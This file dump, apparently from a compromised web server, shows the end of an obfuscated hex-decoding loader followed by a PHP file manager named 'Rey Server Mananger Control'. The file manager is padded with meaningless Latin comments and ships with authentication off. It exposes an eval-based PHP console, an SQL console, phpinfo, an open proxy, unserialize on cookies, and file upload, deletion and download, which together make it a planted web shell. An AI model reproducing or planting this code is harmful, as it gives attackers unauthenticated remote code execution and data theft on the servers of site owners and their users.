$out .= chr(hexdec($hex[$i] . $hex[$i + 1]));
}
return $out;
}
}
$loader = new motocikasitux();
$loader->run();PK �Lm\�d�� �� u1a79.phpnu �[��� <?php
/* Rey Server Mananger Control */
// Per hunc programmatum, utentes possunt fasciculos creare, deletare, vel movere
$authorization_Option = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fms_config;\r\nvar_export($fms_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить �ту папку (рекур�ивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить �тот файл?","Archiving":"�рхивировать","Authorization":"�вторизаци�","Back":"�азад","Cancel":"Отмена","Chinese":"Китай�кий","Compress":"Сжать","Console":"Кон�оль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Ра�паковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"�нглий�кий","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл �охранен","Filename":"Им� файла","Files uploaded":"Файл загружен","French":"Француз�кий","Generation time":"Генераци� �траницы","German":"�емецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"�аименование","New":"�овое","New file":"�овый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображени�","Recursively":"Рекур�ивно","Rename":"Переименовать","Reset":"Сбро�ить","Reset settings":"Сбро�ить на�тройки","Restore file time after editing":"Во��танавливать врем� файла по�ле редактировани�","Result":"Результат","Rights":"Права","Russian":"Ру��кий","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"�а�тройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"И�пан�кий","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украин�кий","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"�айдено в файлах","Search":"Пои�к","Recursive search":"Рекур�ивный пои�к","Mask":"Ма�ка"}';
// File Manager instrumentum utile est ad res in systemate computatorio ordinandas
// Fasciculi in File Manager saepe ostenduntur in formis tabellarum vel indicum
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // File Manager programmatum simplicem interface praebet ad operationes fasciculorum
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
// Usus communis File Manager includit apertionem, editorem et deletionem fasciculorum
$auth_local = json_decode($authorization_Option,true);
$auth_local['authorize'] = isset($auth_local['authorize']) ? $auth_local['authorize'] : 0;
$auth_local['days_authorization'] = (isset($auth_local['days_authorization'])&&is_numeric($auth_local['days_authorization'])) ? (int)$auth_local['days_authorization'] : 30;
$auth_local['login'] = isset($auth_local['login']) ? $auth_local['login'] : 'admin';
$auth_local['password'] = isset($auth_local['password']) ? $auth_local['password'] : 'phpfm';
$auth_local['cookie_name'] = isset($auth_local['cookie_name']) ? $auth_local['cookie_name'] : 'fm_user';
$auth_local['script'] = isset($auth_local['script']) ? $auth_local['script'] : '';
// File Manager adhibetur ad fasciculos inter directorias movere
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_myfile' => true,
'show_dir_size' => false, // File Manager systema ordinandi fasciculos praebet, ubi usores possunt categoriam fasciculorum creare
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // In systematibus operandi, File Manager saepe instrumentum praeconium ad administranda documenta
'show_gt' => true, // Programma File Manager permittit utentes ad systema interius navigandum
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fms_config = $fm_default_config;
else $fms_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_local['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// File Manager adhibetur ad perficiendum actiones in files quae celerem accessum requirunt
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Multae versiones File Manager in systematibus operandi diversis exstant
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
// File Manager in versionibus recentibus variat inter GUI et CLI formas
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc_check = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc_check);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
// Uti File Manager in systematibus ut Microsoft Windows vel Unix communiter fit
function fm_del_fileSet($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_fileSet($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// In systematibus operandi, File Manager typice apparet ut fenestra quae permittit utentes res administret
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Aliquam File Manager etiam permittit utentes cum serveris remotos operari.
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Faciunt optiones quae utentes adiuvant ad administrandum multos fasciculos simul
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Usus File Manager fit potissimum per drag et drop actiones
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// File Manager etiam multis systematibus permittit accessum ad hidden files
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load fileSet
function fm_download($archiveFileName) {
if (!empty($archiveFileName)) {
if (file_exists($archiveFileName)) {
header("Content-Disposition: attachment; filename=" . basename($archiveFileName));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . fileSetize($archiveFileName));
flush(); // this doesn't really matter.
$fp = fopen($archiveFileName, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
// File Manager in multis casibus includit instrumenta ad compressiones fasciculorum
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return fileSetize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=fileSetize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+fileSetize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errorList=ini_get('display_errorList');
ini_set('display_errorList', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errorList', $display_errorList);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fms_config;
return new mysqli($fms_config['sql_server'], $fms_config['sql_username'], $fms_config['sql_password'], $fms_config['sql_db']);
}
function fm_sql($query){
global $fms_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,fileSetize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+0x9Be54ec5a55A9753e998575B15B0842f8a58E79a/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fms_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fms_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fms_config;
$return = !empty($fms_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_fileSet($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_fileSet($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth_local['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth_local['login']) && ($_POST['password']==$auth_local['password'])) {
setcookie($auth_local['cookie_name'], $auth_local['login'].'|'.md5($auth_local['password']), time() + (86400 * $auth_local['days_authorization']));
$_COOKIE[$auth_local['cookie_name']]=$auth_local['login'].'|'.md5($auth_local['password']);
}
}
if (!isset($_COOKIE[$auth_local['cookie_name']]) OR ($_COOKIE[$auth_local['cookie_name']]!=$auth_local['login'].'|'.md5($auth_local['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth_local['cookie_name']]);
setcookie($auth_local['cookie_name'], '', time() - (86400 * $auth_local['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth_local['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fms_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fms_config), time() + (86400 * $auth_local['days_authorization']));
$_COOKIE['fm_config'] = serialize($fms_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc_check = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc_check);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth_local['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth_local['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth_local = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc_check = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc_check, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc_check);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fms_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fms_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
